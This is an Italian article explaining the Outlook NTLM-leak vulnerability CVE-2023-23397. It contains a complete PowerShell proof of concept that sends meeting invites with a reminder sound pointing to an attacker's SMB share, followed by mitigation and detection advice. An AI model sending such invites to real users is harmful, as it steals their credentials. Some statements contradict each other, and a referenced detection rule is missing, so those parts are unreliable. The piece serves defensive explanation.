Il 17 marzo 2023, Microsoft ha rilasciato una patch per la vulnerabilità di Outlook CVE-2023-23397, che è stata attivamente sfruttata per quasi un intero anno. Questo exploit ha attirato l’attenzione di un gruppo di hacker legato all’intelligence militare russa che lo sta usando per attaccare le organizzazioni europee.
Panoramica dell’attacco
La CVE-2023-23397 consente di rubare le credenziali NTLM degli utenti di Microsoft Outlook con una complessità e uno sforzo minimi. Questa vulnerabilità può essere sfruttata inviando un’email a un utente target ma non richiede che l’utente apra l’email. Essa rappresenta una minaccia grave per le organizzazioni vulnerabili, in quanto gli attori delle minacce possono eseguire ripetutamente questo attacco e comandare gli account degli utenti mentre l’utente non se ne accorge.
Funzionamento dell’attacco
La CVE-2023-23397 funziona da un vettore di attacco basato sulla rete. Si inizia con una email appositamente creata che contiene un invito a una riunione o calendario. Viene aggiunto un suono di notifica personalizzato che bypassa il file WAV predefinito e invece contiene un percorso verso una condivisione SMB controllata dall’attaccante. L’accesso al percorso UNC forza un’NTLM di autenticazione dalla vittima all’attaccante. L’attaccante può quindi rubare gli hash NTLM trapelati e cercare di recuperarli o riprodurli.
Proof of Concept
Di seguito è riportato un proof of concept che mostra come l’attacco può essere eseguito utilizzando PowerShell per creare e inviare un invito a una riunione con il suono di notifica personalizzato. Questo codice è stato creato da Oddvar Moe di TrustedSec e deve essere utilizzato solo a scopo di ricerca o per testare la propria organizzazione.
# CVE-2023-23397 POC
# Author: Oddvar Moe (@oddvarmoe) - TrustedSec
# Usage examples:
#
# Sending:
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
#
# Saving:
# Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meetingbody)
{
$Outlook = New-Object -comObject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
$newcal.ReminderSoundFile = $remotefilepath
$newcal.Recipients.add($recipient)
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
$newcal.send()
}
function Save-CalendarNTLMLeak ($remotefilepath, $meetingsubject, $meetingbody)
{
$Outlook = New-Object -comObject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
$newcal.ReminderSoundFile = $remotefilepath
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
$newcal.save()
}
La funzione Send-CalendarNTLMLeak invia un invito per una riunione a un destinatario specifico utilizzando il servizio di posta elettronica di Outlook. L’invito contiene un suono di allarme personalizzato che viene specificato dal parametro $remotefilepath. Quando il destinatario apre l’invito, Outlook cerca di scaricare il file di suono personalizzato dal percorso remoto specificato. Se il percorso remoto è un URL malizioso contenente il pacchetto NTLM, il computer della vittima viene compromesso.
La funzione Save-CalendarNTLMLeak è simile a Send-CalendarNTLMLeak, ma invece di inviare l’invito per la riunione, salva l’invito sul computer locale dell’utente. Questo POC dimostra come la vulnerabilità può essere sfruttata sia inviando che salvando un invito per una riunione con un URL malizioso come suono di avviso personalizzato.
Come mitigare il problema
Per proteggersi dal CVE-2023-23397, si consiglia di bloccare il traffico in uscita sulla porta SMB 445, in modo da impedire l’invio di messaggi di autenticazione NTLM a condivisioni di file remote. Inoltre, si può aggiungere gli utenti al gruppo di sicurezza “Protected Users”, che limita l’uso di NTLM come metodo di autenticazione. Con queste precauzioni, è possibile proteggere la propria organizzazione dalla vulnerabilità di Microsoft Outlook e mitigare il problema.
Rilevamento dell’attacco
Per rilevare l’attacco CVE-2023-23397 su Outlook, è necessario attivare l’auditing sui registri dei provider di rete per SMB e WebDAV. Ciò consente la generazione di eventi di audit (4656, 4663) che contengono sia il processo che ha avviato l’interazione, sia l’oggetto a cui si sta accedendo. Questo aiuta a identificare le attività anomale di accesso a file esterni a cui Outlook non dovrebbe accedere durante le operazioni normali. Inoltre, è possibile applicare alcune misure di mitigazione, come bloccare il traffico in uscita sulla porta SMB 445, che impedisce l’invio di messaggi di autenticazione NTLM a condivisioni remote e l’aggiunta degli utenti al gruppo di sicurezza Protected Users, che limita l’uso di NTLM come metodo di autenticazione. Per facilitare la rilevazione di eventuali attività sospette, è possibile utilizzare la regola di rilevamento Sigma sopra descritta, che consente di individuare se il processo OUTLOOK.EXE ha avviato una connessione a una condivisione WebDAV o SMB. Tuttavia, è importante prestare attenzione ai falsi positivi, come quando il processo C:\Windows\System32\SearchProtocolHost.exe interroga questi registri, filtrando questi eventi prima che raggiungano il SIEM può mitigare il problema.
Conclusioni
La vulnerabilità CVE-2023-23397 rappresenta un serio rischio per le organizzazioni che utilizzano Microsoft Outlook per Windows. Tuttavia, esistono soluzioni per mitigare questo problema, come bloccare il traffico in uscita sulla porta SMB 445, aggiungere gli utenti al gruppo di sicurezza Protected Users e abilitare l’auditing su alcune chiavi del registro di sistema. Inoltre, grazie alla creazione di regole di rilevamento come quella descritta nel testo, le organizzazioni possono identificare tempestivamente eventuali attività sospette. È importante che le organizzazioni adottino misure di sicurezza adeguate per proteggere i propri sistemi e dati sensibili, soprattutto in un’epoca in cui le minacce informatiche sono sempre più sofisticate e diffuse.